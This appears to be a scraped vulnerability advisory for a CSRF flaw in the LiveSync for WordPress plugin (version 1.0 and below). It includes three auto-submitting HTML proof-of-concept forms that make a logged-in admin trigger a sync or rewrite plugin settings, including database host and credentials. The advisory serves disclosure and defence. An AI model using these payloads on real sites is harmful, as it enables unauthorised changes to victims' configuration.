Lucene search

K
wpexploitDaniel RufWPEX-ID:9AB9626F-66D5-47E4-BDB8-D8FB519F9515
HistoryMay 16, 2022 - 12:00 a.m.

LiveSync for WordPress <= 1.0 - Arbitrary Settings Update via CSRF

2022-05-1600:00:00
Daniel Ruf
76

0.001 Low

EPSS

Percentile

25.9%

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

<form id="test" action="https://example.com/wp-admin/tools.php?page=livesync/livesync.php" method="POST">
    <input type="text" name="livesync_go" value="true">
    <input type="text" name="Submit" value="Synchronise Live ยป">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/options-general.php?page=livesync/livesync.php" method="POST">
    <input type="text" name="livesync_updateoptions" value="true">
    <input type="text" name="livesync_hostname" value="aaa">
    <input type="text" name="livesync_tempdir" value="/tmp">
    <input type="text" name="livesync_usedefaults" value="true">
    <input type="text" name="Submit" value="Update Options ยป">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/options-general.php?page=livesync/livesync.php" method="POST">
    <input type="text" name="livesync_updateoptions" value="true">
    <input type="text" name="livesync_hostname" value="www">
    <input type="text" name="livesync_tempdir" value="/tmp">
    <input type="text" name="livesync_database" value="www">
    <input type="text" name="livesync_username" value="wwww">
    <input type="text" name="livesync_password" value="wwwwwww">
    <input type="text" name="Submit" value="Update Options ยป">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

25.9%

Related for WPEX-ID:9AB9626F-66D5-47E4-BDB8-D8FB519F9515